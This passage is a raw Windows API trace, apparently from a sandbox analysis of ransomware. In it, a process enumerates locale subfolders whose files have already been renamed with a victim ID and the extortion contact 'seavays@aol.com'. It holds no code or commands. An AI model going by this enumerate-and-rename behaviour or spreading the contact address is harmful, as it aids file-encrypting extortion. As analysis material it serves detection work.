hFindFile=0x5da3d0) returned 1 [0205.893] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x5c0000) returned 1 [0205.893] FindNextFileW (in: hFindFile=0x5da390, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x70eccf8, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x70eccf8, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="1028", cAlternateFileName="")) returned 1 [0205.893] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0205.893] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x70eccf8, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x70eccf8, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName=".", cAlternateFileName="")) returned 0x4262998 [0205.894] FindNextFileW (in: hFindFile=0x4262998, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x70eccf8, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x70eccf8, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="..", cAlternateFileName="")) returned 1 [0205.894] FindNextFileW (in: hFindFile=0x4262998, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x767047d, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x767047d, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x769659b, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x1994, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0205.894] FindNextFileW (in: hFindFile=0x4262998, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x769659b, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x769659b, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x76bc70d, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xee96, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0205.894] FindNextFileW (in: hFindFile=0x4262998, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x70a0732, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x70a0732, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x70eccf8, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0205.895] FindNextFileW (in: hFindFile=0x4262998, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x70a0732, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x70a0732, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x70eccf8, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0205.895] FindClose (in: hFindFile=0x4262998 | out: hFindFile=0x4262998) returned 1 [0205.896] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x5c0000) returned 1 [0205.896] FindNextFileW (in: hFindFile=0x5da390, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x7302cc7, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7302cc7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="1029", cAlternateFileName="")) returned 1 [0205.896] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0205.896] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x7302cc7, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7302cc7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName=".", cAlternateFileName="")) returned 0x4262b98 [0205.897] FindNextFileW (in: hFindFile=0x4262b98, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x7302cc7, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7302cc7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="..", cAlternateFileName="")) returned 1 [0205.897] FindNextFileW (in: hFindFile=0x4262b98, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x76e2aad, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x76e2aad, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x76e2aad, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xf74, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0205.897] FindNextFileW (in: hFindFile=0x4262b98, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x76e2aad, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x76e2aad, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x800288c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x13d46, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0205.897] FindNextFileW (in: hFindFile=0x4262b98, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x72441bf, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x72441bf, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7302cc7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0205.898] FindNextFileW (in: hFindFile=0x4262b98, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x72441bf, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x72441bf, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7302cc7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0205.898] FindClose (in: hFindFile=0x4262b98 | out: hFindFile=0x4262b98) returned 1 [0205.898] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x5c0000) returned 1 [0205.898] FindNextFileW (in: hFindFile=0x5da390, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x7302cc7, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7302cc7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="1030", cAlternateFileName="")) returned 1 [0205.899] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0205.899] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x7302cc7, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7302cc7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName=".", cAlternateFileName="")) returned 0x4262bd8 [0205.899] FindNextFileW (in: hFindFile=0x4262bd8, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x7302cc7, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7302cc7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="..", cAlternateFileName="")) returned 1 [0205.899] FindNextFileW (in: hFindFile=0x4262bd8, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7708c77, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7708c77, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7708c77, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xde4, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0205.900] FindNextFileW (in: hFindFile=0x4262bd8, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x772ef7a, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x772ef7a, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x772ef7a, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x130b6, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0205.900] FindNextFileW (in: hFindFile=0x4262bd8, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x72441bf, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x72441bf, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7302cc7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0205.900] FindNextFileW (in: hFindFile=0x4262bd8, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x72441bf, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x72441bf, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7302cc7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0205.900] FindClose (in: hFindFile=0x4262bd8 | out: hFindFile=0x4262bd8) returned 1 [0205.901] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x5c0000) returned 1 [0205.901] FindNextFileW (in: hFindFile=0x5da390, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x732902c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x732902c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="1031", cAlternateFileName="")) returned 1 [0205.901] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0205.901] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x732902c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x732902c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName=".", cAlternateFileName="")) returned 0x4262b18 [0205.902] FindNextFileW (in: hFindFile=0x4262b18, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x732902c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x732902c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="..", cAlternateFileName="")) returned 1 [0205.902] FindNextFileW (in: hFindFile=0x4262b18, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x772ef7a, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x772ef7a, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x80e7938, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xe44, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0205.903] FindNextFileW (in: hFindFile=0x4262b18, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7da026f, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7da026f, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7da026f, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x142a6, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0205.903] FindNextFileW (in: hFindFile=0x4262b18, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7302cc7, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7302cc7, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x732902c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0205.903] FindNextFileW (in: hFindFile=0x4262b18, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7302cc7, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7302cc7, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x732902c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0205.903] FindClose (in: hFindFile=0x4262b18 | out: hFindFile=0x4262b18) returned 1 [0205.904] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x5c0000) returned 1 [0205.904] FindNextFileW (in: hFindFile=0x5da390, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x734f1ca, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x734f1ca, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="1032", cAlternateFileName="")) returned 1 [0205.904] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0205.904] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x734f1ca, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x734f1ca, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName=".", cAlternateFileName="")) returned 0x4262998 [0205.905] FindNextFileW (in: hFindFile=0x4262998, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x734f1ca, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x734f1ca, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="..", cAlternateFileName="")) returned 1 [0205.905] FindNextFileW (in: hFindFile=0x4262998, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7dc6520, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7dc6520, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7dc6520, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x2394, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0205.906] FindNextFileW (in: hFindFile=0x4262998, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7dc6520, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7dc6520, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7dec7e1, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x15206, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0205.906] FindNextFileW (in: hFindFile=0x4262998, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x732902c, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x732902c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x734f1ca, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0205.906] FindNextFileW (in: hFindFile=0x4262998, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x732902c, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x732902c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x734f1ca, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0205.906] FindClose (in: hFindFile=0x4262998 | out: hFindFile=0x4262998) returned 1 [0205.907] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x5c0000) returned 1 [0205.907] FindNextFileW (in: hFindFile=0x5da390, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x740ddd0, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x740ddd0, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="1033", cAlternateFileName="")) returned 1 [0205.907] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0205.907] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x740ddd0, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x740ddd0, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName=".", cAlternateFileName="")) returned 0x4262f18 [0205.909] FindNextFileW (in: hFindFile=0x4262f18, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x740ddd0, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x740ddd0, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="..", cAlternateFileName="")) returned 1 [0205.909] FindNextFileW (in: hFindFile=0x4262f18, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7dec7e1, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7dec7e1, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8264d9d, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xd64, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0205.909] FindNextFileW (in: hFindFile=0x4262f18, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7eab335, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7eab335, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7eab335, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x12eb6, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0205.909] FindNextFileW (in: hFindFile=0x4262f18, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x732902c, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x732902c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x748055f, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0205.909] FindNextFileW (in: hFindFile=0x4262f18, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x732902c, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x732902c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x748055f, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, 